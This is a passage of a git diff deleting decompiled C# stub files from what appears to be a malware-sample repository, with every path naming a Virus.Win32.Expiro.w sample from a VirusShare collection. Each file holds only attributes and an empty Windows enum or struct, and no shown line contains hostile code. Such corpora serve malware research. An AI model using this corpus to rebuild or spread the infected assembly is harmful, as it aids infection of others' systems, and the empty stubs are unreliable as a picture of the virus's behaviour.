_MANDATORY_LEVEL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _MANDATORY_LEVEL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MEDIA_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MEDIA_TYPE.cs deleted file mode 100644 index f3ee6b89..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MEDIA_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MEDIA_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _MEDIA_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs deleted file mode 100644 index 59e1003d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MEMORY_RESOURCE_NOTIFICATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _MEMORY_RESOURCE_NOTIFICATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MSV1_0_LOGON_SUBMIT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MSV1_0_LOGON_SUBMIT_TYPE.cs deleted file mode 100644 index d7df526a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MSV1_0_LOGON_SUBMIT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MSV1_0_LOGON_SUBMIT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _MSV1_0_LOGON_SUBMIT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MSV1_0_PROFILE_BUFFER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MSV1_0_PROFILE_BUFFER_TYPE.cs deleted file mode 100644 index e12e11a1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MSV1_0_PROFILE_BUFFER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MSV1_0_PROFILE_BUFFER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _MSV1_0_PROFILE_BUFFER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs deleted file mode 100644 index 1e6aa567..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MSV1_0_PROTOCOL_MESSAGE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _MSV1_0_PROTOCOL_MESSAGE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MULTIPLE_TRUSTEE_OPERATION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MULTIPLE_TRUSTEE_OPERATION.cs deleted file mode 100644 index f7eff599..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MULTIPLE_TRUSTEE_OPERATION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MULTIPLE_TRUSTEE_OPERATION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _MULTIPLE_TRUSTEE_OPERATION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_OSVERSIONINFOW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_OSVERSIONINFOW.cs deleted file mode 100644 index b4ed4298..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_OSVERSIONINFOW.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _OSVERSIONINFOW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[UnsafeValueType] -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 276)] -internal struct _OSVERSIONINFOW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PARTITION_STYLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PARTITION_STYLE.cs deleted file mode 100644 index 86867392..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PARTITION_STYLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PARTITION_STYLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _PARTITION_STYLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_AUDIT_EVENT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_AUDIT_EVENT_TYPE.cs deleted file mode 100644 index 98c6ca7d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_AUDIT_EVENT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_AUDIT_EVENT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _POLICY_AUDIT_EVENT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_DOMAIN_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_DOMAIN_INFORMATION_CLASS.cs deleted file mode 100644 index c5521c6d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_DOMAIN_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_DOMAIN_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _POLICY_DOMAIN_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_INFORMATION_CLASS.cs deleted file mode 100644 index 57161154..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _POLICY_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_LSA_SERVER_ROLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_LSA_SERVER_ROLE.cs deleted file mode 100644 index 586afa4e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_LSA_SERVER_ROLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_LSA_SERVER_ROLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _POLICY_LSA_SERVER_ROLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs deleted file mode 100644 index e415fa17..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_NOTIFICATION_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _POLICY_NOTIFICATION_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PROCESSOR_CACHE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PROCESSOR_CACHE_TYPE.cs deleted file mode 100644 index 0c138e8e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PROCESSOR_CACHE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PROCESSOR_CACHE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _PROCESSOR_CACHE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PROC_THREAD_ATTRIBUTE_NUM.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PROC_THREAD_ATTRIBUTE_NUM.cs deleted file mode 100644 index 6b776978..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PROC_THREAD_ATTRIBUTE_NUM.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PROC_THREAD_ATTRIBUTE_NUM -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _PROC_THREAD_ATTRIBUTE_NUM -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PROGRESS_INVOKE_SETTING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PROGRESS_INVOKE_SETTING.cs deleted file mode 100644 index 647b1a8c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PROGRESS_INVOKE_SETTING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PROGRESS_INVOKE_SETTING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _PROGRESS_INVOKE_SETTING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PSC_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PSC_STATE.cs deleted file mode 100644 index 809517df..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PSC_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PSC_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _PSC_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PS_RATE_PHASE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PS_RATE_PHASE.cs deleted file mode 100644 index fc0d0baa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PS_RATE_PHASE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PS_RATE_PHASE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _PS_RATE_PHASE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PaddingMode.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PaddingMode.cs deleted file mode 100644 index e489a03a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PaddingMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PaddingMode -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _PaddingMode -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RESOURCEMANAGER_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RESOURCEMANAGER_INFORMATION_CLASS.cs deleted file mode 100644 index b5d09ea4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RESOURCEMANAGER_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RESOURCEMANAGER_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _RESOURCEMANAGER_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPCCALLBACKS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPCCALLBACKS.cs deleted file mode 100644 index 2a1369bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPCCALLBACKS.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPCCALLBACKS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _RPCCALLBACKS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_ASYNC_EVENT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_ASYNC_EVENT.cs deleted file mode 100644 index 66d3313c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_ASYNC_EVENT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_ASYNC_EVENT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _RPC_ASYNC_EVENT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_HTTP_REDIRECTOR_STAGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_HTTP_REDIRECTOR_STAGE.cs deleted file mode 100644 index ea37222b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_HTTP_REDIRECTOR_STAGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_HTTP_REDIRECTOR_STAGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 